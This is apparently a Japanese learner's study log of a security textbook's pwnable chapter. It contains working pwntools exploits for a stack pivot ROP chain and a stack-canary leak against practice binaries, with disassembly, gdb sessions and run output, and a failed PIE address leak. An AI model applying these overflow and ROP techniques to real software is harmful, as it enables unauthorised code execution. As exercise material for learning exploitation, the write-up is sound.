0x40123c: nop ; leave ; ret ; (1 found)
0x40123b: nop ; nop ; leave ; ret ; (1 found)

$ nm sbof_pivot_setvbuf | grep win
sbof_pivot_setvbuf.c    sbof_pivot_setvbuf.out

$ nm sbof_pivot_setvbuf.out | grep win
00000000004011ec T win

なぜ、見つからなくなったのかを見ていきます。まず、オリジナルの stack_pivot のアセンブラを見ます。0x4012a3 で見つけていましたので、見てみると、pop r15 になっています。調べてみると、pop rdi は機械語で、0x5F らしいので、その後の ret と組み合わせて、rp++ が検出したということのようです。

0000000000401240 <__libc_csu_init>:
  401240:       f3 0f 1e fa             endbr64
  401244:       41 57                   push   r15
  401246:       4c 8d 3d c3 2b 00 00    lea    r15,[rip+0x2bc3]        # 403e10 <__frame_dummy_init_array_entry>
  40124d:       41 56                   push   r14
  40124f:       49 89 d6                mov    r14,rdx
  401252:       41 55                   push   r13
  401254:       49 89 f5                mov    r13,rsi
  401257:       41 54                   push   r12
  401259:       41 89 fc                mov    r12d,edi
  40125c:       55                      push   rbp
  40125d:       48 8d 2d b4 2b 00 00    lea    rbp,[rip+0x2bb4]        # 403e18 <__do_global_dtors_aux_fini_array_entry>
  401264:       53                      push   rbx
  401265:       4c 29 fd                sub    rbp,r15
  401268:       48 83 ec 08             sub    rsp,0x8
  40126c:       e8 8f fd ff ff          call   401000 <_init>
  401271:       48 c1 fd 03             sar    rbp,0x3
  401275:       74 1f                   je     401296 <__libc_csu_init+0x56>
  401277:       31 db                   xor    ebx,ebx
  401279:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
  401280:       4c 89 f2                mov    rdx,r14
  401283:       4c 89 ee                mov    rsi,r13
  401286:       44 89 e7                mov    edi,r12d
  401289:       41 ff 14 df             call   QWORD PTR [r15+rbx*8]
  40128d:       48 83 c3 01             add    rbx,0x1
  401291:       48 39 dd                cmp    rbp,rbx
  401294:       75 ea                   jne    401280 <__libc_csu_init+0x40>
  401296:       48 83 c4 08             add    rsp,0x8
  40129a:       5b                      pop    rbx
  40129b:       5d                      pop    rbp
  40129c:       41 5c                   pop    r12
  40129e:       41 5d                   pop    r13
  4012a0:       41 5e                   pop    r14
  4012a2:       41 5f                   pop    r15
  4012a4:       c3                      ret
  4012a5:       66 66 2e 0f 1f 84 00    data16 cs nop WORD PTR [rax+rax*1+0x0]
  4012ac:       00 00 00 00

一方、setvbuf関数を追加して、自分でコンパイルした方を見てみます。Ghidra を使って見てみたところ、そもそも、__libc_csu_init が含まれていませんでした。ChatGPT に聞いたところ、シンプルなプログラムの場合は、__libc_csu_init が含まれない場合があるそうです。ParrotOS でコンパイルしたのですが、念のため、Ubuntu 22.04 でコンパイルしてみましたが、同じく、__libc_csu_init は含まれていませんでした。

Stack Pivot について、理論的なところは理解できたので、次に進みます。

(2025/03/28:追記)

プログラムバイナリをビルドし直さなくても、ストリームバッファを無効にする方法が見つかったので、追記します。こちらの方がスマートな解決方法だと思います。

ストリームバッファを無効にする方法は、いくつかあるようですが、stdbufコマンドを使う方法がやりやすそうです。stdbufコマンドは、実行時に stdout や stderr のバッファリングを変更できます。stdbuf -o0 ./sbof_pivot とすると、標準出力(stdout)のバッファリングを無効化できます。また、stdbuf -e0 ./sbof_pivot とすると、標準出力(stdout)のバッファリングを無効化できます。今回は必要なさそうですが、標準入力(stdin)のバッファリングの無効化は、-i0 です。つまり、stdbuf -o0 -e0 ./sbof_pivot とすればいいです。エクスプロイトコードの場合は、stdbuf -o0 -e0 python exploit_sbof_pivot_mine2.py です。

ストリームバッファを無効化することが出来れば、オリジナルの sbof_pivot を使うことが出来ます。よって、ROPガジェットが無い、という課題もなくなります。

では、書き直したエクスプロイトコードです。今回は、pwntools の使い方を覚えるために、だいぶ書き換えました。

from pwn import *

bin_file = './sbof_pivot'
context(os = 'linux', arch = 'amd64')

binf = ELF( bin_file )

info( f"binf.bss()=0x{binf.bss():X}, binf.symbols['msg']=0x{binf.symbols['msg']:X}" )
info( f"binf.functions['win'].address=0x{binf.functions['win'].address:X}" )

def attack( proc, **kwargs ):
    
    rop = ROP( binf )
    
    ropchain = b''
    ropchain += b'A' * 8                  # name
    ropchain += b'B' * 8                  # name
    ropchain += p64( binf.symbols['msg'] + 0xc0 - 8 ) # Saved RBP (0xc0 は win関数で使うスタック量を考慮)
    ropchain += p64( rop.leave.address )  # leave; ret;
    
    #info( proc.sendlineafter(b'>> ', ropchain[:-1]).decode() ) # なぜか、sendlineafter() ではうまくいかない
    info( proc.sendafter(b'>> ', ropchain[:-1]).decode() ) # fgets() は自動で、NULL終端するため、1byte手前まで送信する
    
    ropchain = b''
    ropchain += b'A' * 0xc0
    ropchain += p64( rop.rdi.address )    # pop rdi; ret;
    ropchain += p64( 0xcafebabe )         # key1
    ropchain += p64( rop.rsi.address )    # pop rsi; pop r15; ret;
    ropchain += p64( 0xc0bebeef )         # key2
    ropchain += p64( 0xdeadbeef )         # for r15 (何でもいい)
    ropchain += p64( binf.functions['win'].address ) # win()
    
    #info( proc.sendafter(b'>> ', ropchain).decode() ) # こちらは sendafter() ではうまくいかない
    info( proc.sendlineafter(b'>> ', ropchain).decode() )
    info( proc.recvall().decode() )

def main():
    
    adrs = "shape-facility.picoctf.net"
    port = 51556
    #adrs = "localhost"
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    proc = process( bin_file )
    #proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

また、pwntools を使うために、いろいろ試した内容も貼っておきます。

$ python
Python 3.11.2 (main, May  2 2024, 11:59:08) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> bin_file = './sbof_pivot'
>>> context(os = 'linux', arch = 'amd64')
>>> binf = ELF( bin_file )
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_pivot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
>>> 
>>> hex(binf.bss())
'0x404040'
>>> 
>>> hex(binf.symbols['msg'])
'0x404060'
>>> 
>>> rop = ROP( binf )
[*] Loading gadgets for '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_pivot'
>>> 
>>> rop.leave
Gadget(0x4011e4, ['leave', 'ret'], ['rbp', 'rsp'], 0x2540be407)
>>> 
>>> hex(rop.leave.address)
'0x4011e4'
>>> 
>>> rop.rdi
Gadget(0x4012a3, ['pop rdi', 'ret'], ['rdi'], 0x10)
>>> 
>>> rop.rsi
Gadget(0x4012a1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0x18)
>>> 
>>> 

では、実行してみます。成功しました!

$ stdbuf -o0 -e0 python exploit_sbof_pivot_mine2.py
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_pivot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] binf.bss()=0x404040, binf.symbols['msg']=0x404060
[*] binf.functions['win'].address=0x4011E6
[+] Starting local process './sbof_pivot': pid 315980
[*] Loaded 14 cached gadgets for './sbof_pivot'
[*] Hello!
    Input Name >>
[*] Input Message >>
[+] Receiving all data: Done (22B)
[*] Stopped process './sbof_pivot' (pid 315980)
[*] This is win

    Correct!

32.3:緩和機構

緩和機構とは、スタックカナリアなどのセキュリティ機構のことです。スタックカナリアは、Stack Smash Protection(SSP)とも言い、書籍では、この SSP について解説を行っています。これまでも何度かスタックカナリヤを扱ってきましたが、新しい情報がありました。スタックカナリアの先頭バイトは必ず 0 になっているそうです。その理由は、文字列などと一緒にスタックカナリアの値が流出することを防ぐためとのことです。なるほどです。

次に、ASLR(Address Space Layout Randomization)と PIE(Position Independent Executable)です。ASLR が有効な場合は、プログラム自身以外のヒープ領域や、スタック領域などのアドレスが毎回変わります。PIE が有効な場合は、プログラム自身のアドレスが毎回変わります。

32.4:緩和機構の回避

上の緩和機構で紹介した、スタックカナリアや、ASLR、PIE が設定されていた場合、それらを回避する方法が解説されています。

スタックカナリアの場合は、その値(canary)を流出させて、スタックカナリアが保存されている領域を書き換えるときに、canary の値で書き換えることで、スタックカナリアを回避します。

ASLR、PIE の場合は、プログラムのアドレスを流出させて(アドレスリーク)、回避します。

順番にやっていきます。

32.4.1:canaryの特定

canary の値は、8byte ですが、先頭の 1byte は、必ず 0 になります。これは、先頭バイトを 0(NULL文字、つまり、文字列の終端文字)にしておくことで、その後に続く canary の値を出力させる(リークする)ことを難しくしています。canary の値をリークする方法は、この先頭バイトの 0 を、0 以外の値に書き換えることで、出力させます。

以下は、サポートサイトで配布されてる canary の特定で取り扱うソースコード(sbof_leak.c)です。

2回の入力があり、両方ともバッファオーバーフローを起こすことが出来ます。

#include <stdio.h>
#include <unistd.h>

void main(void){
    char buf[0x10];

    dprintf(STDOUT_FILENO, "Input Name >> ");
    read(STDIN_FILENO, buf, 0x100);

    dprintf(STDOUT_FILENO, "Hello, %s!\nInput Message >> ", buf);
    read(STDIN_FILENO, buf, 0x100);
}

void win(void){
    puts("Congratz!!");
}

プログラムバイナリ(sbof_leak_w_ssp)も提供されています。

表層解析します。スタックカナリアが有効です。また、メモリ上の命令実行が禁止されています。

$ file sbof_leak_w_ssp
sbof_leak_w_ssp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c4b5c36e7712ab9181ffe2da009625316393fd2c, for GNU/Linux 3.2.0, with debug_info, not stripped

$ ~/bin/checksec --file=sbof_leak_w_ssp
RELRO          STACK CANARY  NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  Canary found  NX enabled  No PIE  No RPATH  No RUNPATH  72 Symbols  No       0          2            sbof_leak_w_ssp

スタックカナリアの位置を特定するために、逆アセンブラを見ます。スタックは 32byte 確保されていて、スタックカナリアが 8byte、空きが 8byte、配列の buf が 16byte という並びです。

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000401196 <+0>: endbr64 
   0x000000000040119a <+4>: push   rbp
   0x000000000040119b <+5>: mov    rbp,rsp
   0x000000000040119e <+8>: sub    rsp,0x20
   0x00000000004011a2 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004011ab <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011af <+25>:    xor    eax,eax
   0x00000000004011b1 <+27>:    lea    rsi,[rip+0xe4c]        # 0x402004
   0x00000000004011b8 <+34>:    mov    edi,0x1
   0x00000000004011bd <+39>:    mov    eax,0x0
   0x00000000004011c2 <+44>:    call   0x401090 <dprintf@plt>
   0x00000000004011c7 <+49>:    lea    rax,[rbp-0x20]
   0x00000000004011cb <+53>:    mov    edx,0x100
   0x00000000004011d0 <+58>:    mov    rsi,rax
   0x00000000004011d3 <+61>:    mov    edi,0x0
   0x00000000004011d8 <+66>:    call   0x4010a0 <read@plt>
=> 0x00000000004011dd <+71>: lea    rax,[rbp-0x20]
   0x00000000004011e1 <+75>:    mov    rdx,rax
   0x00000000004011e4 <+78>:    lea    rsi,[rip+0xe28]        # 0x402013
   0x00000000004011eb <+85>:    mov    edi,0x1
   0x00000000004011f0 <+90>:    mov    eax,0x0
   0x00000000004011f5 <+95>:    call   0x401090 <dprintf@plt>
   0x00000000004011fa <+100>:   lea    rax,[rbp-0x20]
   0x00000000004011fe <+104>:   mov    edx,0x100
   0x0000000000401203 <+109>:   mov    rsi,rax
   0x0000000000401206 <+112>:   mov    edi,0x0
   0x000000000040120b <+117>:   call   0x4010a0 <read@plt>
   0x0000000000401210 <+122>:   nop
   0x0000000000401211 <+123>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401215 <+127>:   xor    rax,QWORD PTR fs:0x28
   0x000000000040121e <+136>:   je     0x401225 <main+143>
   0x0000000000401220 <+138>:   call   0x401080 <__stack_chk_fail@plt>
   0x0000000000401225 <+143>:   leave  
   0x0000000000401226 <+144>:   ret    
End of assembler dump.

スタックを表にしておきます。

アドレス サイズ 内容
rbp
rbp - 0x08 8 スタックカナリア
rbp - 0x10 8 空き
rbp - 0x20 16 配列buf

2回の read関数によるユーザ入力の最初の方で、スタックカナリアの先頭にある 0(NULL文字)を NULL文字以外に書き換えます。つまり、配列 buf の 16byte と、空きの 8byte と、スタックカナリアの先頭の 0 を書き換えるので、合計で 25byte を入力することになります。やってみます。

スタックカナリアを書き換えたことになるため、*** stack smashing detected ***: terminated と言われて終了しています。

Hello, の後、a が 25回続き、スタックカナリアが 7byte 続くことになります。よって、スタックカナリアは、00 79 62 da 33 51 94 fa(0xFA945133DA627900)だったということになります。

$ python -c 'print("a" * 25, end="")' | ./sbof_leak_w_ssp
Input Name >> Hello, aaaaaaaaaaaaaaaaaaaaaaaaa�b���9!
Input Message >> *** stack smashing detected ***: terminated
中止

$ python -c 'print("a" * 25, end="")' | ./sbof_leak_w_ssp | hexdump -C
00000000  49 6e 70 75 74 20 4e 61  6d 65 20 3e 3e 20 48 65  |Input Name >> He|
00000010  6c 6c 6f 2c 20 61 61 61  61 61 61 61 61 61 61 61  |llo, aaaaaaaaaaa|
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 79 62  |aaaaaaaaaaaaaayb|
00000030  da 33 51 94 fa 01 21 0a  49 6e 70 75 74 20 4d 65  |.3Q...!.Input Me|
*** stack smashing detected ***: terminated
00000040  73 73 61 67 65 20 3e 3e  20                       |ssage >> |
00000049

エクスプロイトコード(exploit_sbof_leak_canary.py)も提供されています。

上では、a を 25個入力しましたが、このコードでは、24個の a! を入力しています。次の recvuntil関数のために目印を入れてると思われます。a! の後はスタックカナリアの 7byte なので、先頭の 0 と合わせてスタックカナリアを変数 canary にセットしてデバッグ出力させています。あとは、普通にリターンアドレスを書き換えて、win関数にジャンプさせています。Saved RBP のところには、0xdeadbeef を設定して、リターンアドレスには、あらかじめ準備していた win関数のアドレス addr_win を設定しています。

#!/usr/bin/env python3
from pwn import *

bin_file = './sbof_leak_w_ssp'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

binf = ELF(bin_file)
addr_win    = binf.functions['win'].address

def attack(conn, **kwargs):
    conn.sendafter('>> ', b'a'*0x18+b'!')
    conn.recvuntil('a!')
    canary = u64(b'\x00' + conn.recv(7))
    info('canary = 0x{:08x}'.format(canary))

    exploit  = b'a'*0x18
    exploit += p64(canary)
    exploit += p64(0xdeadbeef)
    exploit += p64(addr_win)
    conn.sendafter('>> ', exploit)

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__=='__main__':
    main()

実行してみます。無事、Congratz!! が表示されているので、成功です。

$ python exploit_sbof_leak_canary.py
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak_w_ssp'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process './sbof_leak_w_ssp': pid 158537
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/exploit_sbof_leak_canary.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  conn.recvuntil('a!')
[*] canary = 0x61d72a71f45b0200
[*] Switching to interactive mode
Congratz!!
[*] Got EOF while reading in interactive
$ ls
[*] Process './sbof_leak_w_ssp' stopped with exit code -11 (SIGSEGV) (pid 158537)
[*] Got EOF while sending in interactive
32.4.2:バイナリのベースアドレスの特定

次は、ASLR、PIE の場合です。

書籍で解説されているのは、未初期化の変数を出力させて、その値が _start という関数のアドレスであることが分かり、プログラム内の相対的なアドレスは ASLR、PIE が有効であっても変わらないので、ベースアドレスが特定できる、というものです。

うーん、ちょっとたまたま感がありますね。書籍でもこういうこともあるんだから、使えそうなものを探してみてください、みたいな感じです。未初期化の変数を出力させる方法も、read関数を使っているので、配列buf の使わなかった部分を出力できていますが、普通は、scanf関数や fgets関数を使うので、これらは、自動で NULL文字が追加されるので、同じ方法は使えません。

という前置きをしたうえで、書籍の解説されている方法をやってみます。

提供されているプログラム(sbof_leak_w_ssp_pie)は、先ほどの sbof_leak.c を、PIE を有効にしてコンパイルしたものとのことです。

表層解析を行います。PIE が有効になっています。つまり、このプログラムはランダムなアドレスに配置されるということです。

$ file sbof_leak_w_ssp_pie 
sbof_leak_w_ssp_pie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8a6d38c5f13696c73f77654a022e28c1812c91a1, for GNU/Linux 3.2.0, with debug_info, not stripped

$ ~/bin/checksec --file=sbof_leak_w_ssp_pie
RELRO       STACK CANARY  NX          PIE          RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Full RELRO  Canary found  NX enabled  PIE enabled  No RPATH  No RUNPATH  74 Symbols  No       0          2            sbof_leak_w_ssp_pie

次に、2回の入力のうち、最初の入力に 8byte だけ入力すると、後ろに未初期化の内容が出力されるということです。やってみます。

a が 8回出力された後、! が出力されています。後ろに未初期化の内容が出力されていません。何度やっても同じです。出力されるはずの未初期化の部分の先頭が、たまたま 0(NULL文字)だったらこうなりますが、、、

$ python -c 'print("a" * 8, end="")' | ./sbof_leak_w_ssp_pie | hexdump -C
00000000  49 6e 70 75 74 20 4e 61  6d 65 20 3e 3e 20 48 65  |Input Name >> He|
00000010  6c 6c 6f 2c 20 61 61 61  61 61 61 61 61 21 0a 49  |llo, aaaaaaaa!.I|
00000020  6e 70 75 74 20 4d 65 73  73 61 67 65 20 3e 3e 20  |nput Message >> |
00000030

gdb で確認してみます。ちょっと文字化けしてますが、入力した内容を出力する直前で止めています。配列 buf は、0x7fffffffe120 から始まり、aaaaaaaa の後は、STACK を見ると、0 になっています。残念です。

$ gdb -q ./sbof_leak_w_ssp_pie
Poetry could not find a pyproject.toml file in /home/user/svn/experiment/shokai_                                                                               security_contest/files/pwnable/03_stack or its parents
pwndbg: loaded 169 pwndbg commands and 47 shell commands. Type pwndbg [--shell |                                                                                --all] [filter] for a list.
pwndbg: created $rebase, $base, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (                                                                               can be used with print/break)
Reading symbols from ./sbof_leak_w_ssp_pie...
------- tip of the day (disable with set show-tips off) -------
heap_config shows heap related configuration

pwndbg> b *main+95
Breakpoint 2 at 0x555555555208: file sbof_leak.c, line 10.

pwndbg> r < <(python -c 'print("a" * 8, end="")')
Starting program: /home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak_w_ssp_pie < <(python -c 'print("a" * 8, end="")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input Name >>
Breakpoint 2, 0x0000555555555208 in main () at sbof_leak.c:10
10              dprintf(STDOUT_FILENO, "Hello, %s!\nInput Message >> ", buf);
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ REGISTERS / show-flags off / show-compact-regs off ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
 RAX  0
 RBX  0x7fffffffe258 —▸ 0x7fffffffe4e2 ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak_w_ssp_pie'
 RCX  0x7ffff7ec119d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x7fffffffe120 ◂— 'aaaaaaaa'
 RDI  1
 RSI  0x555555556013 ◂— 'Hello, %s!\nInput Message >> '
 R8   7
 R9   0x5555555592a0 ◂— 0x555555559
 R10  0x856a7a6bcd1da13d
 R11  0x246
 R12  0
 R13  0x7fffffffe268 —▸ 0x7fffffffe53f ◂— 'SHELL=/bin/bash'
 R14  0
 R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x7fffffffe140 ◂— 1
 RSP  0x7fffffffe120 ◂— 'aaaaaaaa'
 RIP  0x555555555208 (main+95) ◂— call dprintf@plt
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ DISASM / x86-64 / set emulate on ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
 ► 0x555555555208 <main+95>     call   dprintf@plt                 <dprintf@plt>
        fd: 1 (/dev/pts/2)
        fmt: 0x555555556013 ◂— 'Hello, %s!\nInput Message >> '
        vararg: 0x7fffffffe120 ◂— 'aaaaaaaa'

   0x55555555520d <main+100>    lea    rax, [rbp - 0x20]
   0x555555555211 <main+104>    mov    edx, 0x100            EDX => 0x100
   0x555555555216 <main+109>    mov    rsi, rax
   0x555555555219 <main+112>    mov    edi, 0                EDI => 0
   0x55555555521e <main+117>    call   read@plt                    <read@plt>

   0x555555555223 <main+122>    nop
   0x555555555224 <main+123>    mov    rax, qword ptr [rbp - 8]
   0x555555555228 <main+127>    xor    rax, qword ptr fs:[0x28]
   0x555555555231 <main+136>    je     main+143                    <main+143>

   0x555555555233 <main+138>    call   __stack_chk_fail@plt        <__stack_chk_fail@plt>
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ SOURCE (CODE) ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
In file: /home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak.c:10
    5         char buf[0x10];
    6
    7         dprintf(STDOUT_FILENO, "Input Name >> ");
    8         read(STDIN_FILENO, buf, 0x100);
    910         dprintf(STDOUT_FILENO, "Hello, %s!\nInput Message >> ", buf);
   11         read(STDIN_FILENO, buf, 0x100);
   12 }
   13
   14 void win(void){
   15         puts("Congratz!!");
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ STACK ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
00:0000x rdx rsp 0x7fffffffe120 ◂— 'aaaaaaaa'
01:0008x-018     0x7fffffffe128 ◂— 0
02:0010x-010     0x7fffffffe130 ◂— 0
03:0018x-008     0x7fffffffe138 ◂— 0x5b7def48c19cf100
04:0020x rbp     0x7fffffffe140 ◂— 1
05:0028x+008     0x7fffffffe148 —▸ 0x7ffff7df024a (__libc_start_call_main+122) ◂— mov edi, eax
06:0030x+010     0x7fffffffe150 ◂— 0
07:0038x+018     0x7fffffffe158 —▸ 0x5555555551a9 (main) ◂— endbr64
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ BACKTRACE ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
 ► 0   0x555555555208 main+95
   1   0x7ffff7df024a __libc_start_call_main+122
   2   0x7ffff7df0305 __libc_start_main+133
   3   0x5555555550ee _start+46
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

Ubuntu 22.04 でやってみます。ParrotOS と同様、後ろに未初期化の内容が出力されていません。原因もおそらく同じで、未初期化の先頭が 0 なんだと思います。

$ python3 -c 'print("a" * 8, end="")' | ./sbof_leak_w_ssp_pie | hexdump -C
00000000  49 6e 70 75 74 20 4e 61  6d 65 20 3e 3e 20 48 65  |Input Name >> He|
00000010  6c 6c 6f 2c 20 61 61 61  61 61 61 61 61 21 0a 49  |llo, aaaaaaaa!.I|
00000020  6e 70 75 74 20 4d 65 73  73 61 67 65 20 3e 3e 20  |nput Message >> |
00000030

自分でコンパイルしてやってみます。結果は一緒でした。

$ gcc -g -pie -o sbof_leak_w_ssp_pie_mine sbof_leak.c
sbof_leak.c: In function ‘main’:
sbof_leak.c:8:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=]
    8 |         read(STDIN_FILENO, buf, 0x100);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
sbof_leak.c:5:14: note: destination object ‘buf’ of size 16
    5 |         char buf[0x10];
      |              ^~~
In file included from sbof_leak.c:2:
/usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur
      |                ^~~~
sbof_leak.c:11:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=]
   11 |         read(STDIN_FILENO, buf, 0x100);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
sbof_leak.c:5:14: note: destination object ‘buf’ of size 16
    5 |         char buf[0x10];
      |              ^~~
/usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur
      |                ^~~~
sbof_leak.c:8:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=]
    8 |         read(STDIN_FILENO, buf, 0x100);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
sbof_leak.c:5:14: note: destination object ‘buf’ of size 16
    5 |         char buf[0x10];
      |              ^~~
/usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur
      |                ^~~~
sbof_leak.c:11:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=]
   11 |         read(STDIN_FILENO, buf, 0x100);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
sbof_leak.c:5:14: note: destination object ‘buf’ of size 16
    5 |         char buf[0x10];
      |              ^~~
/usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur
      |                ^~~~

$ python -c 'print("a" * 8, end="")' | ./sbof_leak_w_ssp_pie_mine | hexdump -C
00000000  49 6e 70 75 74 20 4e 61  6d 65 20 3e 3e 20 48 65  |Input Name >> He|
00000010  6c 6c 6f 2c 20 61 61 61  61 61 61 61 61 21 0a 49  |llo, aaaaaaaa!.I|
00000020  6e 70 75 74 20 4d 65 73  73 61 67 65 20 3e 3e 20  |nput Message >> |
00000030

残念ですが、諦めます。

32.5:実践問題

ここの実践問題は興味深いので、やっていきます。

問題として与えられているソースコード(chall_stack.c)は以下です。お題としては、「このプログラムで ROP をして、シェルを起動してください」です。コンパイル後のプログラムバイナリ(chall_stack)と、答えのエクスプロイトコード(exploit_stack.py)が提供されています。

あと、コンパイルオプションは -static-pie を与えており、静的リンクで、PIE を有効にしています。また、ヒントが与えられていて、「canary、バイナリベースアドレス、スタックアドレスがリーク可能」と、「syscall命令を含む ROP gadget を利用」と書かれています。

ソースコードを見ていきます。ローカル変数の msg という配列が定義され、{} では、0 初期化になります。その後は、メインの for文です。for文では、4回ループで、ログ出力→read関数(脆弱性あり)→ログ出力、という内容です。

#include <stdio.h>
#include <unistd.h>

int main(void){
    char msg[0x10] = {};

    setbuf(stdout, NULL);

    puts("You can put message 4 times!");
    for(int i=0; i<4; i++){
        printf("Input (%d/4) >> ", i+1);
        read(STDIN_FILENO, msg, 0x70);
        printf("Output : %s\n", msg);
    }
    puts("Bye!");

    return 0;
}

普通にリターンアドレスを書き換えて、ROP を行っていくことになりますが、まず、考えなければならないのは、スタックカナリヤが有効とのことなので、それを回避する必要があります。これは、32.4.1 で行った対応で出来そうです。具体的には、canary の先頭が 0 になっているところを 0 以外の値で埋めて、canary の値をリークし、スタックカナリアを回避するエクスプロイトコードになると思います。これが、for文の 1回目の行動になりそうです。

次に、PIE が有効とのことなので、何らかのアドレスをリークし、その相対アドレスを調べて、ベースアドレスを求めます。それにより、system関数か、execve関数を実行することでシェルを起動できそうです。では、どうやってアドレスをリークするかを考えます。ローカル変数の msg は、0 初期化されているので、32.4.2 で解説されていた、未初期化の変数からアドレスを得るというのは無理ということになります。上の canary のリークで、そのすぐ後ろにある Saved RBP や、リターンアドレスが出力できるかもしれません。これは途中に 0 があるとダメなので、実際にやってみたいと思います。

表層解析です。ん?スタックカナリアが無効のようです。。。何かの不備なんでしょうか。とりあえず、先に進みます。

$ file ./chall_stack
./chall_stack: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=b6806fb22df5030de6ee970a55e0128c884b8276, for GNU/Linux 3.2.0, not stripped

$ ~/bin/checksec --file=./chall_stack
